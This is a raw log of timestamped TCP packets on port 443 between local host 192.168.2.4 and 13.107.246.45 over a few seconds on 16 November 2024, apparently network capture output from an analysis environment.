Nov 16, 2024 20:13:36.003103018 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.003103971 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.003180981 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.003217936 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.005958080 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.006000042 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.006095886 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.006252050 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.006267071 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.011221886 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.011420012 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.011535883 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.011578083 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.011595011 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.011606932 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.011614084 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.014024973 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.014050007 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.014131069 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.014273882 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.014287949 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.324642897 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.325125933 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.325205088 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.325571060 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.325586081 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.455413103 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.455635071 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.455727100 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.464394093 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.464446068 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.464478970 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.464494944 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.468040943 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.468135118 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.468233109 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.468378067 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.468414068 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.514810085 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.515556097 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.515589952 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.516114950 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.516119957 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.518336058 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.518727064 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.518810987 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.519139051 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.519155025 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.645102978 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.645277977 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.645365000 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.645534992 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.645553112 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.645561934 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.645566940 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.645916939 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.646482944 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.646538973 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.646549940 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.646603107 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.646701097 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.646740913 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.646770954 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.646785975 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.648835897 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.648839951 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.648891926 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.648910999 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.648993969 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.649298906 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.649298906 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.649336100 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.649360895 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.649382114 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.765496016 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.765822887 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.766061068 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.766077995 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.766227961 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.766249895 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.766560078 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.766565084 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.766632080 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.766638994 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.898392916 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.898464918 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.898514986 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.898742914 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.898785114 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.898806095 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.898818970 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.900602102 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.900676012 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.900732040 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.901514053 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.901532888 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.901563883 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.901570082 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.904863119 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.904885054 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.904939890 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.905080080 CET	50069	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.905136108 CET	443	50069	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.905200005 CET	50069	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.905225039 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.905236959 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.905318022 CET	50069	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.905350924 CET	443	50069	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.213485003 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.214035034 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.214087009 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.214560032 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.214569092 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.343172073 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.343383074 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.343468904 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.343630075 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.343658924 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.343677998 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.343687057 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.347209930 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.347244978 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.347341061 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.347491980 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.347507000 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.370285034 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.370956898 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.371011019 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.371373892 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.371386051 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.400489092 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.400940895 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.400984049 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.401277065 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.401285887 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.498651028 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.498735905 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.498898029 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.499013901 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.499041080 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.499073982 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.499083042 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.501761913 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.501859903 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.502002954 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.502091885 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.502114058 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.530913115 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.531088114 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.531179905 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.531452894 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.531503916 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.531547070 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.531565905 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.539458990 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.539500952 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.539586067 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.539727926 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.539740086 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.624901056 CET	443	50069	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.625564098 CET	50069	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.625629902 CET	443	50069	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.626204014 CET	50069	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.626219034 CET	443	50069	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.643990993 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.644680023 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.644704103 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.645265102 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.645271063 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.752583981 CET	443	50069	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.752751112 CET	443	50069	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.752851009 CET	50069	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.753159046 CET	50069	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.753202915 CET	443	50069	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.753230095 CET	50069	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.753237963 CET	443	50069	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.756685019 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.756783009 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.756942034 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.757163048 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.757199049 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.773425102 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.773578882 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.773718119 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.774796963 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.774842978 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.851550102 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.851638079 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:37.851828098 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.851972103 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:37.851988077 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.092452049 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.100193024 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.100210905 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.100960970 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.100966930 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.226991892 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.227065086 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.227118015 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.227127075 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.227186918 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.227238894 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.227365971 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.227365971 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.227375031 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.227381945 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.230802059 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.230845928 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.230938911 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.231077909 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.231107950 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.247853041 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.248390913 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.248420000 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.248831987 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.248846054 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.311966896 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.312783003 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.312798023 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.313163996 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.313167095 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.381680012 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.381855011 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.382097960 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.382193089 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.382193089 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.382240057 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.382275105 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.385469913 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.385520935 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.385612011 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.385859013 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.385870934 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.445807934 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.445878983 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.445995092 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.446089029 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.446290970 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.446320057 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.446331024 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.446336031 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.450006008 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.450042963 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.450128078 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.450306892 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.450320959 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.488801003 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.489365101 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.489420891 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.489787102 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.489805937 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.605648994 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.615206003 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.615228891 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.615663052 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.615667105 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.622037888 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.622118950 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.622217894 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.622514963 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.622565031 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.622594118 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.622610092 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.627176046 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.627233028 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.627326012 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.627654076 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.627667904 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.744692087 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.744714022 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.744776011 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.744806051 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.744843960 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.745093107 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.745119095 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.745129108 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.745134115 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.748512983 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.748543978 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.748634100 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.748786926 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.748796940 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.971092939 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.972116947 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.972181082 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:38.972690105 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:38.972707033 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.101037025 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.101210117 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.101284981 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.101433992 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.101483107 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.101514101 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.101531029 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.105758905 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.105778933 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.105846882 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.106028080 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.106039047 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.129493952 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.130028963 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.130063057 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.130755901 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.130763054 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.234420061 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.235605001 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.235630989 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.236243963 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.236249924 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.260828018 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.261018038 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.261125088 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.261408091 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.261430979 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.261450052 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.261456013 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.264643908 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.264705896 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.264785051 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.264926910 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.264949083 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.356806993 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.357321024 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.357347965 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.357955933 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.357959986 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.371092081 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.371257067 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.371309042 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.371386051 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.371401072 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.371411085 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.371417046 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.374567986 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.374628067 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.374710083 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.374943018 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:39.374962091 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.475579023 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:39.476326942 CET	50079	443	192.168.2.4	13.107.246.45
